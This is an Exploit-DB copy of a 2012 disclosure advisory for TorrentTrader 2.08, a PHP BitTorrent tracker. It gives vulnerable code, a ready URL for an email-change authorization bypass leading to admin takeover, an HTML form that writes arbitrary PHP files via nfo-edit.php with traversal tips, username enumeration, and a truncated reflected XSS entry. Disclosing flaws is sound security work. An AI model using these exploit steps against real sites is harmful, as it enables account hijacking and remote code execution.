Exploit-DB #21396
Description: torrenttrader 2.08 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-19
Author: waraxe

Exploit:
[waraxe-2012-SA#089] - Multiple Vulnerabilities in TorrentTrader 2.08
===============================================================================

Author: Janek Vind "waraxe"
Date: 17. September 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-89.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TorrentTrader is a feature packed and highly customisable PHP/MySQL Based BitTorrent
tracker. Featuring integrated forums, and plenty of administration options.

http://sourceforge.net/projects/torrenttrader/
http://www.torrenttrader.org/topic/14292-torrenttrader-v208-released/

###############################################################################
1. Unauthorized Email Change in "account-ce.php"
###############################################################################

Reason: authorization bypass
Attack vector: user submitted GET parameters "id", "secret" and "email"
Preconditions: none
Result: attacker can change any user's email, including admin's

-----------------[ source code start ]---------------------------------
$id = (int) $_GET["id"];
$md5 = $_GET["secret"];
$email = $_GET["email"];
..
$res = SQL_Query_exec("SELECT `editsecret` FROM `users` 
WHERE `enabled` = 'yes' AND `status` = 'confirmed' AND `id` = '$id'");

$row = mysql_fetch_assoc($res);
..
$sec = $row["editsecret"];

if ($md5 != md5($sec . $email . $sec))
  show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1);

SQL_Query_exec("UPDATE `users` SET `editsecret` = '', `email` = ".sqlesc($email)."
WHERE `id` = '$id' AND `editsecret` = " . sqlesc($row["editsecret"]));
-----------------[ source code end ]-----------------------------------

Tests:

Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452".
Target user ID is 1. We issue GET request:

http://localhost/torrenttrader208/account-ce.php?id=1&
secret=b642b4217b34b1e8d3bd915fc65c4452&email=test@test.com

Quick look to the database confirms, that email address of user with ID 1
has been changed indeed. 

Next logical move for attacker is password recovery request:

http://localhost/torrenttrader208/account-recover.php

After admin account takeover attacker is able to use next vulnerability,
described below, which may allow php remote code execution.

###############################################################################
2. Arbitrary file creation / directory traversal in "nfo-edit.php"
###############################################################################

Reason: failure to properly sanitize user submitted data
Attack vector: user submitted POST parameters "id" and "content"
Preconditions:
 1. nfo-file editing privileges needed (usually admin)
 2. PHP must be < 5.3.4 for null-byte attacks to work
Result:
  1. attacker is able to write remote files with arbitrary content
  2. directory traversal vulnerability allows bypassing path restrictions


-----------------[ source code start ]---------------------------------
$id = (int)$_GET["id"]?$_GET["id"]:$_POST["id"]; 
$do = $_POST["do"];
  
$nfo = $site_config["nfo_dir"] . "/$id.nfo";
  
if ($do == "update") { 
  if (file_put_contents($nfo, $_POST["content"]))  
  {
    write_log("NFO ($id) was updated by $CURUSER[username].");
-----------------[ source code end ]-----------------------------------
  
Test: first we need html form like the one below:

<html><body><center>
<form action="http://localhost/torrenttrader208/nfo-edit.php"
method="post" enctype="multipart/form-data">
<input type="hidden" name="do" value="update">
<input type="hidden" name="id" value="test.php">
<input type="hidden" name="content" value="<?php phpinfo();?>">
<input type="submit" value="Test">
</form></center></body></html>


Log in as admin and then make POST request by cliking "Test" button.
We should see "NFO Updated" as response and can confirm new file existence:

http://localhost/torrenttrader208/uploads/test.php.nfo

By using null byte ("\0") it's possible writing files with arbitrary extension.
Finally, it is possible to make use of directory traversal strings "../"
and write files to arbitrary location in remote server.

###############################################################################
3. Username Enumeration Vulnerability in "account-login.php"
###############################################################################

Reason: different error messages for invalid username and invalid password
Attack vector: user submitted POST parameters "username" and "password"
Preconditions: none
Result: attacker can enumerate valid usernames

-----------------[ source code start ]---------------------------------
if (!empty($_POST["username"]) && !empty($_POST["password"])) {
  $res = SQL_Query_exec("SELECT id, password, secret, status, enabled FROM users
  WHERE username = " . sqlesc($_POST["username"]) . "");
  $row = mysql_fetch_array($res);

  if (!$row)
    $message = T_("USERNAME_INCORRECT");
  elseif ($row["status"] == "pending")
    $message = T_("ACCOUNT_PENDING");
  elseif ($row["password"] != $password)
    $message = T_("PASSWORD_INCORRECT");
-----------------[ source code end ]-----------------------------------

Tests:

Try to log in with nonexistent username:

"Username Incorrect"

Next, try valid username with incorrect [CREDENTIAL_REDACTED] Incorrect"

So it's obvious, that attacker is able to distinguish between valid and
invalid usernames and therefore username enumeration vulnerability exists.


###############################################################################
4. Reflected XSS in "faq.php"
###############################################################################
Preconditions: "register_globals=on"
Attack Vector: User provided parameter "faq_categ"
 
http://localhost/torrenttrader208/faq.php?fa